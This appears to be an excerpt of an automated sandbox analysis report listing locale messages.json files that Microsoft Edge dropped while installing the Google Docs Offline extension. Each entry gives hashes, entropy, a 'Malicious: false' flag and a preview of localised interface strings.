Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
